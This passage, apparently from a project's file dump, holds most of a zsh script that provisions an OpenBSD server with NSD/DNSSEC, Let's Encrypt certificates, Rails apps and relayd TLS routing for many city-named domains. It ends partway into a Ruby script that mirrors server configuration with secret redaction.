/home/dev/.zshrc 2&gt;/dev/null || true\n    log INFO \"synced .zshrc to /home/dev (VPS dev env)\"\n  fi\n  log INFO \"OpenBSD config tree sync complete (with backup)\"\n}\n\nsource \"${SCRIPT_DIR}/_net.sh\"\n\ntrap 'cleanup' EXIT\ntrap 'error_handler $? $LINENO' ERR INT TERM\n\ntypeset -r BRGEN_IP=\"46.23.89.226\"\ntypeset -r HYP_IP=\"194.63.248.53\"\ntypeset -r LOCALHOST=\"127.0.0.1\"\ntypeset -r EMAIL_ADDRESS=\"bergen@pub.attorney\"\n\ntypeset -a PUBLIC_RESOLVERS=(8.8.8.8 1.1.1.1 9.9.9.9)\ntypeset -A APP_PORTS\ntypeset -A FAILED_CERTS\n\nvalidate_ip \"$BRGEN_IP\" || { log ERROR \"Invalid BRGEN_IP: $BRGEN_IP\"; exit 1 }\nvalidate_ip \"$HYP_IP\"   || { log ERROR \"Invalid HYP_IP: $HYP_IP\"; exit 1 }\n\nALL_APPS=(\n  brgen:brgen.no\n  amber:amber.brgen.no\n  bsdports:bsdports.org\n  baibl:baibl.no\n)\n\nSERVICES=()\n\nALL_DOMAINS=(\n  brgen.no:markedsplass,playlist,dating,tv,takeaway,maps,ai\n  longyearbyn.no:markedsplass,playlist,dating,tv,takeaway,maps\n  oshlo.no:markedsplass,playlist,dating,tv,takeaway,maps\n  stvanger.no:markedsplass,playlist,dating,tv,takeaway,maps\n  trmso.no:markedsplass,playlist,dating,tv,takeaway,maps\n  trndheim.no:markedsplass,playlist,dating,tv,takeaway,maps\n  reykjavk.is:markadur,playlist,dating,tv,takeaway,maps\n  kbenhvn.dk:markedsplads,playlist,dating,tv,takeaway,maps\n  gtebrg.se:marknadsplats,playlist,dating,tv,takeaway,maps\n  mlmoe.se:marknadsplats,playlist,dating,tv,takeaway,maps\n  stholm.se:marknadsplats,playlist,dating,tv,takeaway,maps\n  hlsinki.fi:markkinapaikka,playlist,dating,tv,takeaway,maps\n  brmingham.uk:marketplace,playlist,dating,tv,takeaway,maps\n  cardff.uk:marketplace,playlist,dating,tv,takeaway,maps\n  edinbrgh.uk:marketplace,playlist,dating,tv,takeaway,maps\n  glasgw.uk:marketplace,playlist,dating,tv,takeaway,maps\n  lndon.uk:marketplace,playlist,dating,tv,takeaway,maps\n  lverpool.uk:marketplace,playlist,dating,tv,takeaway,maps\n  mnchester.uk:marketplace,playlist,dating,tv,takeaway,maps\n  amstrdam.nl:marktplaats,playlist,dating,tv,takeaway,maps\n  rottrdam.nl:marktplaats,playlist,dating,tv,takeaway,maps\n  utrcht.nl:marktplaats,playlist,dating,tv,takeaway,maps\n  brssels.be:marche,playlist,dating,tv,takeaway,maps\n  zrich.ch:marktplatz,playlist,dating,tv,takeaway,maps\n  lchtenstein.li:marktplatz,playlist,dating,tv,takeaway,maps\n  frankfrt.de:marktplatz,playlist,dating,tv,takeaway,maps\n  brdeaux.fr:marche,playlist,dating,tv,takeaway,maps\n  mrseille.fr:marche,playlist,dating,tv,takeaway,maps\n  mlan.it:mercato,playlist,dating,tv,takeaway,maps\n  lisbon.pt:mercado,playlist,dating,tv,takeaway,maps\n  wrsawa.pl:marktplatz,playlist,dating,tv,takeaway,maps\n  gdnsk.pl:marktplatz,playlist,dating,tv,takeaway,maps\n  austn.us:marketplace,playlist,dating,tv,takeaway,maps\n  chcago.us:marketplace,playlist,dating,tv,takeaway,maps\n  denvr.us:marketplace,playlist,dating,tv,takeaway,maps\n  dllas.us:marketplace,playlist,dating,tv,takeaway,maps\n  dnver.us:marketplace,playlist,dating,tv,takeaway,maps\n  dtroit.us:marketplace,playlist,dating,tv,takeaway,maps\n  houstn.us:marketplace,playlist,dating,tv,takeaway,maps\n  lsangeles.com:marketplace,playlist,dating,tv,takeaway,maps\n  mnnesota.com:marketplace,playlist,dating,tv,takeaway,maps\n  newyrk.us:marketplace,playlist,dating,tv,takeaway,maps\n  prtland.com:marketplace,playlist,dating,tv,takeaway,maps\n  wshingtondc.com:marketplace,playlist,dating,tv,takeaway,maps\n  pub.healthcare\n  pub.attorney\n  freehelp.legal\n  bsdports.org\n  bsddocs.org\n  discordb.org\n  foodielicio.us\n  stacyspassion.com\n  antibettingblog.com\n  anticasinoblog.com\n  antigamblingblog.com\n  foball.no\n  amber.brgen.no\n  baibl.no\n)\n\n# \u2500\u2500 Stage 1: DNS, DNSSEC, TLS certificates \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nstage_1() {\n  log INFO \"Stage 1: DNS and certificates\"\n\n  typeset -a _df_root; _df_root=(\"${(@f)$(df -k /)}\"); typeset _root_avail=${${(z)_df_root[2]}[4]}\n  (( _root_avail &lt; 10000 )) &amp;&amp; { log ERROR \"Insufficient disk space on /\"; exit 1 }\n  typeset -a _df_var; _df_var=(\"${(@f)$(df -k /var)}\"); typeset _var_avail=${${(z)_df_var[2]}[4]}\n  (( _var_avail &lt; 512000 )) &amp;&amp; { log ERROR \"Insufficient disk space on /var\"; exit 1 }\n\n  pkg_add -U ldns-utils ruby%3.4 zap zsh fish neovim tmux fontconfig fzf ripgrep fd 2&gt;/tmp/pkg_add.log \\\n    || { log ERROR \"pkg_add failed. See /tmp/pkg_add.log\"; exit 1 }\n\n  [[ -f /etc/rc.conf.local &amp;&amp; $(&lt;\"/etc/rc.conf.local\") == *\"pf=NO\"* ]] &amp;&amp; log WARN \"pf disabled in rc.conf.local\"\n  ifconfig vio0 &gt;/dev/null 2&gt;&amp;1 || { log ERROR \"Interface vio0 not found\"; exit 1 }\n\n  /sbin/pfctl -d || log WARN \"pf disable failed\"\n  /sbin/pfctl -e || { log ERROR \"pf enable failed\"; exit 1 }\n  install_template etc/pf.stage1.conf /etc/pf.conf\n  /sbin/pfctl -nf /etc/pf.conf || { log ERROR \"pf.conf invalid\"; exit 1 }\n  /sbin/pfctl -f /etc/pf.conf  || { log ERROR \"pf failed\"; exit 1 }\n\n  [[ -d /var/nsd/etc ]]          || { log ERROR \"/var/nsd/etc missing\"; exit 1 }\n  [[ -d /var/nsd/zones/master ]] || { log ERROR \"/var/nsd/zones/master missing\"; exit 1 }\n\n  backup_directory /var/nsd/zones/master nsd-zones || { log ERROR \"Backup failed\"; exit 1 }\n  transaction_log \"DELETE\" \"/var/nsd/etc/*\" \"START\"\n  rm -rf /var/nsd/etc/*(/) /var/nsd/zones/master/*(/)\n  transaction_log \"DELETE\" \"/var/nsd/etc/* and /var/nsd/zones/master/*\" \"SUCCESS\"\n\n  install_template var/nsd/etc/nsd.conf /var/nsd/etc/nsd.conf\n  for domain in ${ALL_DOMAINS[*]%%:*}; do\n    append_template var/nsd/etc/nsd-zone.tmpl /var/nsd/etc/nsd.conf\n  done\n  nsd-checkconf /var/nsd/etc/nsd.conf || { log ERROR \"nsd.conf invalid\"; exit 1 }\n\n  typeset serial=${$(date +%Y%m%d%H):-}\n  for domain_entry in $ALL_DOMAINS; do\n    typeset domain=${domain_entry%%:*}\n    typeset subdomains=${domain_entry#*:}\n    [[ $subdomains = $domain ]] &amp;&amp; subdomains=\"\"\n\n    install_template var/nsd/zones/master/zone.tmpl /var/nsd/zones/master/$domain.zone\n    [[ $domain = brgen.no ]] &amp;&amp; print -r -- \"ns IN A $BRGEN_IP\" &gt;&gt; /var/nsd/zones/master/$domain.zone\n\n    if [[ -n $subdomains &amp;&amp; $subdomains != $domain ]]; then\n      for subdomain in ${(s:,:):-$subdomains}; do\n        print -r -- \"$subdomain IN A $BRGEN_IP\" &gt;&gt; /var/nsd/zones/master/$domain.zone\n      done\n    fi\n\n    nsd-checkzone \"$domain\" /var/nsd/zones/master/$domain.zone \\\n      || { log ERROR \"Zone invalid for $domain\"; exit 1 }\n\n    cd /var/nsd/zones/master\n    typeset zsk ksk\n    zsk=$(ldns-keygen -a ECDSAP256SHA256 \"$domain\")\n    ksk=$(ldns-keygen -k -a ECDSAP256SHA256 -b 2048 \"$domain\")\n\n    typeset zonefile=/var/nsd/zones/master/$domain.zone\n    typeset signed_zonefile=/var/nsd/zones/master/$domain.zone.signed\n    typeset salt=$(dd if=/dev/random bs=16 count=1 2&gt;/dev/null | sha1 -q)\n    ldns-signzone -n -p -s \"$salt\" \"$zonefile\" \"$zsk\" \"$ksk\"\n    nsd-checkzone \"$domain\" \"$signed_zonefile\" || { log ERROR \"Signed zone invalid for $domain\"; exit 1 }\n\n    nsd-control reload 2&gt;/dev/null || true\n    ldns-key2ds -n -2 /var/nsd/zones/master/$domain.zone.signed &gt; /var/nsd/zones/master/$domain.ds\n    chown _nsd:_nsd /var/nsd/zones/master/*\n    chmod 640 /var/nsd/zones/master/*\n  done\n\n  [[ ! -f /var/nsd/etc/nsd_server.pem ]] &amp;&amp; {\n    log INFO \"Generating NSD control certificates\"\n    cd /var/nsd/etc &amp;&amp; nsd-control-setup || { log ERROR \"nsd-control-setup failed\"; exit 1 }\n  }\n\n  cleanup_nsd\n  /usr/sbin/rcctl enable nsd\n\n  typeset retries=0 max_retries=2\n  while (( retries &lt;= max_retries )); do\n    /usr/bin/timeout 10 /usr/sbin/rcctl start nsd &amp;&amp; break\n    (( retries++ ))\n    (( retries &lt;= max_retries )) &amp;&amp; cleanup_nsd || { log ERROR \"nsd failed\"; exit 1 }\n  done\n\n  sleep 5\n  typeset _nsd_check; _nsd_check=$(/usr/sbin/rcctl check nsd)\n  [[ $_nsd_check == *\"nsd(ok)\"* ]] || { log ERROR \"nsd not running\"; exit 1 }\n  verify_nsd\n\n  [[ -d /var/www/acme ]] || mkdir -p /var/www/acme\n  install_static etc/httpd.conf /etc/httpd.conf\n  httpd -n -f /etc/httpd.conf || { log ERROR \"httpd.conf invalid\"; exit 1 }\n  /usr/sbin/rcctl enable httpd\n  /usr/sbin/rcctl start httpd || { log ERROR \"httpd failed\"; exit 1 }\n  sleep 5\n  typeset _httpd_check; _httpd_check=$(/usr/sbin/rcctl check httpd)\n  [[ $_httpd_check == *\"httpd(ok)\"* ]] || { log ERROR \"httpd not running\"; exit 1 }\n\n  # httpd strips /.well-known/acme-challenge/ and serves from /var/www/acme/\n  print -r -- test &gt; /var/www/acme/test\n  typeset http_status=${$(curl -s -o /dev/null -w \"%{http_code}\" http://$BRGEN_IP/.well-known/acme-challenge/test):-000}\n  rm -f /var/www/acme/test\n  [[ $http_status == \"200\" ]] || { log ERROR \"httpd pre-flight failed (HTTP $http_status)\"; exit 1 }\n\n  [[ $(&lt;\"/etc/group\") == *$'\\n_acme:'* || $(&lt;\"/etc/group\") == _acme:* ]] || groupadd -g 765 _acme\n  [[ ! -f /etc/acme/letsencrypt_privkey.pem ]] &amp;&amp; \\\n    openssl genpkey -algorithm RSA -out /etc/acme/letsencrypt_privkey.pem -pkeyopt rsa_keygen_bits:4096\n  chown root:_acme /etc/acme/letsencrypt_privkey.pem\n  chmod 640 /etc/acme/letsencrypt_privkey.pem\n\n  install_static etc/acme-client.conf /etc/acme-client.conf\n  for domain_entry in $ALL_DOMAINS; do\n    typeset domain=${domain_entry%%:*}\n    typeset subdomains=${domain_entry#*:}\n    [[ $subdomains = $domain ]] &amp;&amp; subdomains=\"\"\n    {\n      print -r -- \"domain \\\"$domain\\\" {\"\n      if [[ -n $subdomains ]]; then\n        typeset altnames=\"\\\"$domain\\\"\"\n        for sub in ${(s:,:)subdomains}; do altnames=\"$altnames \\\"$sub.$domain\\\"\"; done\n        print -r -- \"  alternative names { $altnames }\"\n      fi\n      print -r -- \"  domain key \\\"/etc/ssl/private/$domain.key\\\"\"\n      print -r -- \"  domain full chain certificate \\\"/etc/ssl/$domain.fullchain.pem\\\"\"\n      print -r -- \"  sign with letsencrypt\"\n      print -r -- \"  challengedir \\\"/var/www/acme\\\"\"\n      print -r -- \"}\"\n      print -r -- \"\"\n    } &gt;&gt; /etc/acme-client.conf\n  done\n  acme-client -n -f /etc/acme-client.conf || { log ERROR \"acme-client.conf invalid\"; exit 1 }\n\n  for domain_entry in $ALL_DOMAINS; do\n    typeset domain=${domain_entry%%:*}\n    typeset dns_check=${$(/usr/bin/dig @\"$BRGEN_IP\" \"$domain\" A +short):-}\n    if [[ $dns_check != $BRGEN_IP ]]; then\n      log WARN \"DNS for $domain failed\"; FAILED_CERTS[$domain]=1; continue\n    fi\n    print -r -- \"test_$domain\" &gt; /var/www/acme/test_$domain\n    typeset http_status=${$(curl -s -o /dev/null -w \"%{http_code}\" -H \"Host: $domain\" http://$BRGEN_IP/.well-known/acme-challenge/test_$domain):-000}\n    rm -f /var/www/acme/test_$domain\n    if [[ $http_status != 200 ]]; then\n      log WARN \"HTTP test for $domain failed\"; FAILED_CERTS[$domain]=1; continue\n    fi\n    if acme-client -v -f /etc/acme-client.conf \"$domain\"; then\n      generate_tlsa_record \"$domain\"\n    else\n      log WARN \"Certificate issuance failed for $domain\"; FAILED_CERTS[$domain]=1\n    fi\n  done\n  (( $#FAILED_CERTS )) &amp;&amp; retry_failed_certs\n\n  install_static usr/local/bin/renew-certs.sh /usr/local/bin/renew-certs.sh\n  chmod 755 /usr/local/bin/renew-certs.sh\n  typeset crontab_tmp=/tmp/crontab_tmp\n  crontab -l 2&gt;/dev/null &gt; $crontab_tmp || :\n  print -r -- \"0 2 * * 1 /usr/local/bin/renew-certs.sh &gt;&gt; /var/log/cert-renewal.log 2&gt;&amp;1\" &gt;&gt; $crontab_tmp\n  crontab $crontab_tmp || { log ERROR \"Crontab update failed\"; exit 1 }\n  rm $crontab_tmp\n\n  log INFO \"Stage 1 complete. ns.brgen.no ($BRGEN_IP) authoritative with DNSSEC.\"\n  log INFO \"DS records: /var/nsd/zones/master/*.ds \u2014 submit each to your registrar (Domeneshop: domain settings \u2192 DNSSEC).\"\n  log INFO \"After submitting DS records, wait 24-48h for propagation, then press Enter to continue.\"\n  log INFO \"Verify with: dig DS brgen.no +short\"\n  read -r\n}\n\n# \u2500\u2500 Stage 2: services, Rails apps, relayd \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nsetup_services() {\n  log INFO \"Setting up services\"\n  /usr/sbin/rcctl enable smtpd\n  /usr/sbin/rcctl start smtpd || { log ERROR \"smtpd failed\"; exit 1 }\n  sleep 5\n  typeset _smtpd_check; _smtpd_check=$(/usr/sbin/rcctl check smtpd)\n  [[ $_smtpd_check == *\"smtpd(ok)\"* ]] || { log ERROR \"smtpd not running\"; exit 1 }\n  /usr/bin/timeout 5 telnet $BRGEN_IP 25 &gt;/dev/null 2&gt;&amp;1 || log WARN \"SMTP port 25 not responding\"\n  /usr/sbin/rcctl enable relayd\n  log INFO \"Services configured. relayd enabled but not started (awaiting configuration)\"\n}\n\nbootstrap_rails_app() {\n  typeset app=$1 port=$2\n  typeset src=/home/dev/pub4/DEPLOY/rails/$app/app\n  typeset app_dir=/home/$app/app\n  typeset bundle_home=/home/$app/.bundle\n  typeset secret\n\n  [[ -d $src ]] || { log ERROR \"source tree missing: $src\"; return 1 }\n  log INFO \"bootstrapping $app -&gt; $app_dir on :$port\"\n\n  id \"$app\" &gt;/dev/null 2&gt;&amp;1 || useradd -m -L daemon -s /bin/ksh \"$app\"\n  mkdir -p \"$app_dir\"\n  cp -R \"${src}/.\" \"${app_dir}/\"\n  chown -R \"${app}:${app}\" \"/home/$app\"\n\n  if [[ ! -d $bundle_home/gems &amp;&amp; $app != amber &amp;&amp; -d /home/amber/.bundle/gems ]]; then\n    log INFO \"  seeding gems from amber donor\"\n    mkdir -p \"$bundle_home\"\n    cp -R /home/amber/.bundle/gems \"$bundle_home/\"\n    chown -R \"${app}:${app}\" \"$bundle_home\"\n    mkdir -p \"$app_dir/.bundle\"\n    print -r -- \"---\" &gt; \"$app_dir/.bundle/config\"\n    print -r -- \"BUNDLE_PATH: \\\"${bundle_home}/gems\\\"\" &gt;&gt; \"$app_dir/.bundle/config\"\n    chown \"${app}:${app}\" \"$app_dir/.bundle/config\"\n  fi\n\n  su -l \"$app\" -c \"gem install --user-install rails bundler falcon\" &gt;/dev/null 2&gt;&amp;1 || :\n  su -l \"$app\" -c \"cd $app_dir &amp;&amp; bundle config set --local deployment true &amp;&amp; bundle config set --local without development:test &amp;&amp; RAILS_ENV=production bundle install\" \\\n    || { log ERROR \"bundle install failed for $app\"; return 1 }\n  su -l \"$app\" -c \"cd $app_dir &amp;&amp; RAILS_ENV=production bin/rails db:create db:migrate\" \\\n    || log WARN \"db:create/migrate non-zero for $app (idempotent skip likely)\"\n  [[ -f $app_dir/db/seeds.rb ]] &amp;&amp; \\\n    su -l \"$app\" -c \"cd $app_dir &amp;&amp; RAILS_ENV=production bin/rails db:seed\" || :\n\n  typeset -a _secret_lines\n  _secret_lines=(\"${(@f)$(su -l \"$app\" -c \"cd $app_dir &amp;&amp; RAILS_ENV=production bundle exec rails secret 2&gt;/dev/null\")}\")\n  secret=${_secret_lines[-1]}\n  [[ ${#secret} -ge 64 ]] || { log ERROR \"$app: secret capture failed (got ${#secret} chars)\"; return 1 }\n  install_template etc/rc.d/rails-app.tmpl /etc/rc.d/$app\n  chmod 755 /etc/rc.d/$app\n  /usr/sbin/rcctl enable $app\n  /usr/sbin/rcctl restart $app || /usr/sbin/rcctl start $app \\\n    || { log ERROR \"$app failed to start\"; return 1 }\n  sleep 5\n  typeset _c; _c=$(/usr/sbin/rcctl check $app)\n  [[ $_c == *\"${app}(ok)\"* ]] || { log ERROR \"$app not running\"; return 1 }\n  typeset _http; _http=$(curl -s -o /dev/null -w \"%{http_code}\" --max-time 10 http://127.0.0.1:${port}/up 2&gt;/dev/null)\n  [[ $_http == \"200\" ]] || log WARN \"$app /up returned $_http \u2014 SECRET_KEY_BASE or DB may need attention\"\n  log INFO \"  $app live on :$port\"\n}\n\nconfigure_relayd() {\n  log INFO \"Writing relayd.conf (TLS+SNI on :443)\"\n\n  typeset -A DOMAIN_BACKEND=() BACKEND_PORT=()\n  typeset app_entry app dom entry rest sub backend\n\n  for app_entry in $ALL_APPS; do\n    app=${app_entry%%:*}; dom=${app_entry##*:}\n    DOMAIN_BACKEND[$dom]=$app\n    BACKEND_PORT[$app]=${APP_PORTS[$app]:-0}\n  done\n  DOMAIN_BACKEND[ai.brgen.no]=master\n  BACKEND_PORT[master]=${BACKEND_PORT[master]:-53187}\n  for entry in $ALL_DOMAINS; do\n    dom=${entry%%:*}\n    [[ -n ${DOMAIN_BACKEND[$dom]:-} ]] &amp;&amp; continue\n    DOMAIN_BACKEND[$dom]=brgen\n  done\n\n  for dom in ${(k)DOMAIN_BACKEND}; do\n    [[ -f /etc/ssl/${dom}.fullchain.pem ]] || continue\n    ln -sf /etc/ssl/${dom}.fullchain.pem /etc/ssl/${dom}.crt\n  done\n\n  {\n    print -r -- \"log connection errors\"\n    print -r -- \"\"\n    for backend in ${(k)BACKEND_PORT}; do\n      print -r -- \"table &lt;${backend}&gt; { 127.0.0.1 }\"\n    done\n    print -r -- \"\"\n    print -r -- \"http protocol \\\"https_proxy\\\" {\"\n    for dom in ${(k)DOMAIN_BACKEND}; do\n      [[ -L /etc/ssl/${dom}.crt ]] &amp;&amp; print -r -- \"  tls keypair \\\"${dom}\\\"\"\n    done\n    print -r -- \"  match request header set \\\"X-Forwarded-Proto\\\" value \\\"https\\\"\"\n    print -r -- \"  match request header set \\\"X-Forwarded-For\\\"   value \\\"\\$REMOTE_ADDR\\\"\"\n    print -r -- \"  match response header set \\\"Strict-Transport-Security\\\" value \\\"max-age=31536000; includeSubDomains; preload\\\"\"\n    print -r -- \"  match response header set \\\"Content-Security-Policy\\\" value \\\"upgrade-insecure-requests; default-src https: 'self'\\\"\"\n    print -r -- \"  match response header set \\\"Referrer-Policy\\\" value \\\"strict-origin\\\"\"\n    print -r -- \"  match response header set \\\"X-Content-Type-Options\\\" value \\\"nosniff\\\"\"\n    print -r -- \"  match response header set \\\"X-Frame-Options\\\" value \\\"SAMEORIGIN\\\"\"\n    print -r -- \"  match response header set \\\"X-XSS-Protection\\\" value \\\"1; mode=block\\\"\"\n    print -r -- \"  http websockets\"\n    for dom in ${(k)DOMAIN_BACKEND}; do\n      backend=${DOMAIN_BACKEND[$dom]}\n      print -r -- \"  match request header \\\"Host\\\" value \\\"${dom}\\\" forward to &lt;${backend}&gt;\"\n      for entry in $ALL_DOMAINS; do\n        [[ ${entry%%:*} == $dom ]] || continue\n        rest=${entry#*:}\n        [[ $rest == $dom ]] &amp;&amp; break\n        for sub in ${(s:,:)rest}; do\n          [[ -n ${DOMAIN_BACKEND[${sub}.${dom}]:-} ]] &amp;&amp; continue\n          print -r -- \"  match request header \\\"Host\\\" value \\\"${sub}.${dom}\\\" forward to &lt;${backend}&gt;\"\n        done\n        break\n      done\n    done\n    print -r -- \"  pass\"\n    print -r -- \"}\"\n    print -r -- \"\"\n    print -r -- \"relay \\\"https_in\\\" {\"\n    print -r -- \"  listen on 0.0.0.0 port 443 tls\"\n    print -r -- \"  protocol \\\"https_proxy\\\"\"\n    for backend in ${(k)BACKEND_PORT}; do\n      print -r -- \"  forward to &lt;${backend}&gt; port ${BACKEND_PORT[$backend]} check tcp\"\n    done\n    print -r -- \"}\"\n  } &gt; /etc/relayd.conf\n\n  relayd -n -f /etc/relayd.conf || { log ERROR \"relayd.conf invalid\"; exit 1 }\n  /usr/sbin/rcctl enable relayd\n  /usr/sbin/rcctl restart relayd || /usr/sbin/rcctl start relayd \\\n    || { log ERROR \"relayd failed\"; exit 1 }\n  sleep 3\n  typeset _c; _c=$(/usr/sbin/rcctl check relayd)\n  [[ $_c == *\"relayd(ok)\"* ]] || { log ERROR \"relayd not running\"; exit 1 }\n  log INFO \"relayd live \u2014 TLS+SNI on :443\"\n}\n\nconfigure_dev_ssh() {\n  typeset cfg=/home/dev/.ssh/config\n  install -d -o dev -g dev -m 700 /home/dev/.ssh\n  [[ -f $cfg ]] || install -o dev -g dev -m 600 /dev/null \"$cfg\"\n  typeset existing=\"$(&lt;$cfg)\"\n  if [[ $existing != *\"Host github.com\"* ]]; then\n    print -r -- $'\\nHost github.com\\n  IdentityFile ~/.ssh/id_ed25519_brgen\\n  IdentitiesOnly yes' &gt;&gt;\"$cfg\"\n    chown dev:dev \"$cfg\"\n    chmod 600 \"$cfg\"\n    log INFO \"dev ssh: github.com block installed\"\n  fi\n\n  # Ensure the operator dev account uses the modern Zsh environment\n  # (packages for zsh + starship + neovim etc. are installed in Stage 1).\n  typeset dev_shell=${${(s/:/)$(getent passwd dev)}[-1]}\n  if [[ $dev_shell != */zsh ]]; then\n    chsh -s /usr/local/bin/zsh dev 2&gt;/dev/null || log WARN \"chsh dev to zsh failed (may need manual)\"\n  fi\n}\n\nstage_2() {\n  log INFO \"Stage 2: services and apps\"\n\n  check_dns_propagation\n\n  typeset _mem_line; _mem_line=$(vmstat -s | while IFS= read -r _l; do [[ $_l == *\"free memory\"* ]] &amp;&amp; print -r -- \"$_l\" &amp;&amp; break; done)\n  typeset _mem_free=${${(z)_mem_line}[1]}\n  (( _mem_free &lt; 512000 )) &amp;&amp; { log ERROR \"Insufficient free memory\"; exit 1 }\n\n  install_template etc/pf.conf /etc/pf.conf\n  /sbin/pfctl -nf /etc/pf.conf || { log ERROR \"pf.conf invalid\"; exit 1 }\n  /sbin/pfctl -f /etc/pf.conf  || { log ERROR \"pf failed\"; exit 1 }\n\n  install_template etc/mail/smtpd.conf /etc/mail/smtpd.conf\n  smtpd -n -f /etc/mail/smtpd.conf || { log ERROR \"smtpd.conf invalid\"; exit 1 }\n  [[ ! -f /etc/ssl/private/smtp.key ]] &amp;&amp; \\\n    openssl genpkey -algorithm RSA -out /etc/ssl/private/smtp.key -pkeyopt rsa_keygen_bits:4096\n  [[ ! -f /etc/ssl/smtp.crt ]] &amp;&amp; \\\n    openssl req -x509 -new -key /etc/ssl/private/smtp.key -out /etc/ssl/smtp.crt -days 365 -subj \"/CN=mail.pub.attorney\"\n  chmod 640 /etc/ssl/private/smtp.key /etc/ssl/smtp.crt\n\n  setup_services\n\n  typeset -a deploy_order=(amber)\n  for app_entry in $ALL_APPS; do\n    typeset app=${app_entry[(ws:*:)1]}\n    [[ $app != amber ]] &amp;&amp; deploy_order+=($app)\n  done\n  for app in $deploy_order; do\n    typeset port=${APP_PORTS[$app]:=$(generate_random_port)}\n    APP_PORTS[$app]=$port\n    bootstrap_rails_app \"$app\" \"$port\" || { log ERROR \"bootstrap failed: $app\"; exit 1 }\n  done\n\n  for svc_entry in $SERVICES; do\n    typeset svc_name=${svc_entry%%:*}\n    typeset svc_rest=${svc_entry#*:}\n    typeset svc_port=${svc_rest##*:}\n    log INFO \"Setting up service: $svc_name on port $svc_port\"\n    chmod 755 /etc/rc.d/$svc_name\n    /usr/sbin/rcctl enable $svc_name\n    /usr/sbin/rcctl start $svc_name || log WARN \"$svc_name start failed (may need manual start)\"\n  done\n\n  configure_dev_ssh\n\n  log INFO \"Deploying MASTER web UI\"\n  typeset m3dir=\"/home/dev/pub4/MASTER\"\n  [[ -d $m3dir ]] || { log ERROR \"MASTER not found at $m3dir\"; exit 1 }\n  cd \"$m3dir/web\"\n  bundle config set --local path vendor/bundle\n  bundle install --quiet\n  typeset master_secret\n  typeset -a _master_secret_lines\n  _master_secret_lines=(\"${(@f)$(RAILS_ENV=production bundle exec rails secret 2&gt;/dev/null)}\")\n  master_secret=${_master_secret_lines[-1]}\n  [[ ${#master_secret} -ge 64 ]] || { log ERROR \"master: secret capture failed (got ${#master_secret} chars)\"; exit 1 }\n  install_template etc/rc.d/master.tmpl /etc/rc.d/master\n  chmod 555 /etc/rc.d/master\n  rcctl enable master\n  rcctl start master\n  log INFO \"MASTER web UI running on :53187\"\n\n  configure_relayd\n\n  log INFO \"Deploy complete. Test: curl https://brgen.no, rcctl check master.\"\n}\n\n# \u2500\u2500 Entry point \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nmain() {\n  if [[ ${1:-} = --help ]]; then\n    print -r -- \"Configure OpenBSD 7.8 for Rails with DNSSEC and relayd TLS+SNI.\nUsage: doas zsh openbsd.sh [--help]\"\n    exit 0\n  fi\n  stage_1\n  stage_2\n}\n\nmain \"$@\"\n```\n\n## `openbsd/sync.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n# Mirror live VPS config into DEPLOY/openbsd/ with secret redaction.\n# Run on VPS: doas ruby34 ~/pub4/DEPLOY/openbsd/sync.rb\n\nrequire \"fileutils\"\n\nMIRROR = File.expand_path(\"..\", __FILE__)\n\nFIXED_SOURCES = [\n  \"/etc/rc.d/master\", \"/etc/rc.d/brgen\", \"/etc/rc.d/brgen_tv\", \"/etc/rc.d/brgen_rails\",\n  \"/etc/rc.d/amber\", \"/etc/rc.d/amber_rails\", \"/etc/rc.d/baibl\",\n  \"/etc/rc.d/blognet\", \"/etc/rc.d/blognet_rails\",\n  \"/etc/rc.d/bsdports\", \"/etc/rc.d/bsdports_rails\",\n  \"/etc/rc.d/hjerterom\", \"/etc/rc.d/hjerterom_rails\",\n  \"/etc/relayd.conf\", \"/etc/httpd.conf\", \"/etc/pf.conf\",\n  \"/etc/acme-client.conf\", \"/var/nsd/etc/nsd.conf\",\n  \"/etc/login.conf\", \"/etc/rc.conf.local\",\n  \"/home/dev/.zshrc\",\n].freeze\n\n# Public DNS data \u2014 zone files, signed zones, public keys, DS records.\n# Excludes K*.private (DNSSEC signing keys) and runtime state (*.db).\nNSD_ZONE_GLOBS = %w[\n  /var/nsd/zones/master/*.zone\n  /var/nsd/zones/master/*.zone.signed\n  /var/nsd/zones/master/K*.key\n  /var/nsd/zones/master/K*.ds\n].freeze\n\nSOURCES = (FIXED_SOURCES + NSD_ZONE_GLOBS.flat_map { |g| Dir[g] }).uniq.freeze\n\nSECRET_PATTERNS = [\n  /(_API_KEY=)\\S+/,\n  /(_KEY=)sk-\\S+/,\n  /(SECRET_KEY_BASE=)[a-f0-9]{32,}/,\n  /(_TOKEN=)\\S+/,\n  /(_PASSWORD=)\\S+/,\n  /(_SECRET=)\\S+/,\n].freeze\n\ndef redact(body)\n  SECRET_PATTERNS.inject(body) { |acc, pat| acc.gsub(pat, '\\1__REDACTED__') }\nend\n\ndef dest_for(path)\n  case path\n  when %r{^/etc/rc\\.d/(.+)}        then File.join(MIRROR, \"etc\", \"rc.d\", $1)\n  when %r{^/etc/(.+)}              then File.join(MIRROR, \"etc\", $1)\n  when %r{^/var/nsd/etc/(.+)}      then File.join(MIRROR, \"var\", \"nsd\", \"etc\", $1)\n  when %r{^/var/nsd/zones/(.+)}    then File.join(MIRROR, \"var\", \"nsd\", \"zones\", $1)\n  when %r{^/home/dev/(.+)}         then File.join(MIRROR, \"etc\", File.basename($1))\n  else                                   File.join(MIRROR, \"etc\", File.basename(path))\n  end\nend\n\nmirrored = []\nskipped  = []\nSOURCES.each do |path|\n  unless File.exist?(path)\n    skipped &lt;&lt; path\n    next\n  end\n  body = File.read(path, encoding: \"UTF-8\", invalid: :replace, undef: :replace)\n  dest = 